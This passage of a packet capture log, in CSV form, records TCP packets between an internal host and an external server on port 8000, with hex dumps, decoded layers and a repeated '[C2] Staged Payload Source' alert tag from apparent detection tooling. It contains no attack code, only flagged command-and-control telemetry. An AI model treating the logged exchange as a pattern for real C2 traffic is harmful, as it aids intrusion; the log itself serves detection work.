Ack=132548653,bc2411360d0cbc24112907bb080045000034b03d400040067fb6c0a3a7890a98980b1f40fa75391c889b07e6882d8010003f0af700000101050a07e6882c07e6882d,\".$.6\n..$.)....E..4.=@.@.......\n....@.u9......-...?\n......\n...,...-\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45117, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32694, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548653, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548652, 132548653))]\"\"}}]\"\n2026-07-01 09:15:23.032211,1252,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548652 Ack=958171291,bc24112907bbbc2411360d0c080045000029b207400080063df70a98980bc0a3a789fa751f4007e6882c391c889b50102014196f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45575, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15863, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548652, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6511, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:23.032225,1253,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548653,bc2411360d0cbc24112907bb080045000034b03e400040067fb5c0a3a7890a98980b1f40fa75391c889b07e6882d8010003f0af700000101050a07e6882c07e6882d,\".$.6\n..$.)....E..4.>@.@.......\n....@.u9......-...?\n......\n...,...-\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45118, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32693, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548653, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548652, 132548653))]\"\"}}]\"\n2026-07-01 09:15:23.940633,1254,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=132548653 Ack=958171291,bc24112907bbbc2411360d0c08004500003db208400080063de20a98980bc0a3a789fa751f4007e6882d391c889b50182014b3b000001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45576, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15842, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548653, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 46000, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:15:23.940678,1255,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548674,bc2411360d0cbc24112907bb080045000028b03f400040067fc0c0a3a7890a98980b1f40fa75391c889b07e688425010003f0aeb0000,\".$.6\n..$.)....E..(.?@.@.......\n....@.u9......BP..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45119, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32704, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548674, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:15:24.954145,1256,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548673 Ack=958171291,bc24112907bbbc2411360d0c080045000029b209400080063df50a98980bc0a3a789fa751f4007e68841391c889b50102014195a000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45577, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15861, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548673, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6490, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:24.954180,1257,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548674,bc2411360d0cbc24112907bb080045000034b040400040067fb3c0a3a7890a98980b1f40fa75391c889b07e688428010003f0af700000101050a07e6884107e68842,\".$.6\n..$.)....E..4.@@.@.......\n....@.u9......B...?\n......\n...A...B\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45120, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32691, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548674, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548673, 132548674))]\"\"}}]\"\n2026-07-01 09:15:25.954311,1258,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548673 Ack=958171291,bc24112907bbbc2411360d0c080045000029b20a400080063df40a98980bc0a3a789fa751f4007e68841391c889b50102014195a000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45578, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15860, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548673, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6490, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:25.954348,1259,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548674,bc2411360d0cbc24112907bb080045000034b041400040067fb2c0a3a7890a98980b1f40fa75391c889b07e688428010003f0af700000101050a07e6884107e68842,\".$.6\n..$.)....E..4.A@.@.......\n....@.u9......B...?\n......\n...A...B\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45121, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32690, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548674, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548673, 132548674))]\"\"}}]\"\n2026-07-01 09:15:26.969830,1260,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548673 Ack=958171291,bc24112907bbbc2411360d0c080045000029b20b400080063df30a98980bc0a3a789fa751f4007e68841391c889b50102014195a000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45579, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15859, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548673, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6490, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:26.969865,1261,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548674,bc2411360d0cbc24112907bb080045000034b042400040067fb1c0a3a7890a98980b1f40fa75391c889b07e688428010003f0af700000101050a07e6884107e68842,\".$.6\n..$.)....E..4.B@.@.......\n....@.u9......B...?\n......\n...A...B\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45122, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32689, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548674, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548673, 132548674))]\"\"}}]\"\n2026-07-01 09:15:27.985474,1262,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548673 Ack=958171291,bc24112907bbbc2411360d0c080045000029b20c400080063df20a98980bc0a3a789fa751f4007e68841391c889b50102014195a000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45580, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15858, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548673, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6490, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:27.985511,1263,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548674,bc2411360d0cbc24112907bb080045000034b043400040067fb0c0a3a7890a98980b1f40fa75391c889b07e688428010003f0af700000101050a07e6884107e68842,\".$.6\n..$.)....E..4.C@.@.......\n....@.u9......B...?\n......\n...A...B\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45123, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32688, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548674, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548673, 132548674))]\"\"}}]\"\n2026-07-01 09:15:29.001135,1264,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548673 Ack=958171291,bc24112907bbbc2411360d0c080045000029b20d400080063df10a98980bc0a3a789fa751f4007e68841391c889b50102014195a000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45581, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15857, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548673, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6490, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:29.001169,1265,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548674,bc2411360d0cbc24112907bb080045000034b044400040067fafc0a3a7890a98980b1f40fa75391c889b07e688428010003f0af700000101050a07e6884107e68842,\".$.6\n..$.)....E..4.D@.@.......\n....@.u9......B...?\n......\n...A...B\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45124, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32687, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548674, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548673, 132548674))]\"\"}}]\"\n2026-07-01 09:15:30.016784,1266,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548673 Ack=958171291,bc24112907bbbc2411360d0c080045000029b20e400080063df00a98980bc0a3a789fa751f4007e68841391c889b50102014195a000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45582, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15856, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548673, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6490, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:30.016806,1267,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548674,bc2411360d0cbc24112907bb080045000034b045400040067faec0a3a7890a98980b1f40fa75391c889b07e688428010003f0af700000101050a07e6884107e68842,\".$.6\n..$.)....E..4.E@.@.......\n....@.u9......B...?\n......\n...A...B\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45125, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32686, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548674, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548673, 132548674))]\"\"}}]\"\n2026-07-01 09:15:31.032429,1268,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548673 Ack=958171291,bc24112907bbbc2411360d0c080045000029b20f400080063def0a98980bc0a3a789fa751f4007e68841391c889b50102014195a000000,\u0000,[C2] Staged Payload Source (Stages: 